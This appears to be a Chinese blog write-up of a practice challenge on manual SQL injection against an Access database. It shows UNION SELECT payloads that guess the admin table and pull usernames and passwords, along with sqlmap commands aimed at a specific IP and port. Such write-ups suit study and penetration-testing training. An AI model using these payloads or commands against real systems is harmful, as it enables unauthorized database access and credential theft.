SQL手工注入漏洞测试(Access数据库)

最新推荐文章于 2023-08-26 07:59:42 发布

weixin_45445398

最新推荐文章于 2023-08-26 07:59:42 发布

阅读量175

点赞数

分类专栏：渗透测试文章标签：数据库 sql oracle

本文链接：https://blog.csdn.net/weixin_45445398/article/details/129338665

版权

5 篇文章 0 订阅

订阅专栏

打开题目熟悉的界面
在这里插入图片描述
用order by 测试后有四列。
这里要说一下Access数据库的结构

Access数据库

              表名

                     列名

                            数据

注意：Access数据库只有一个数据库。

手工猜数据库名为admin

 id=1 and 1=2 union select 1,2,3,4 from admin

在这里插入图片描述
发现对了当然可以用sqlmap爆破

 sqlmap -u "http://219.153.49.228:44727/new_list.asp?id=1" --tables

列名同样可以猜和用sqlmap爆破

sqlmap -u "http://219.153.49.228:44727/new_list.asp?id=1" --column -T admin

在这里插入图片描述

得到后就在回显的2，3查找username和passwd
下面展示一些 内联代码片。

 id=1 and 1=2 union select 1,username,passwd,4 from admin

得到账号密码登录获得key

关注

专栏目录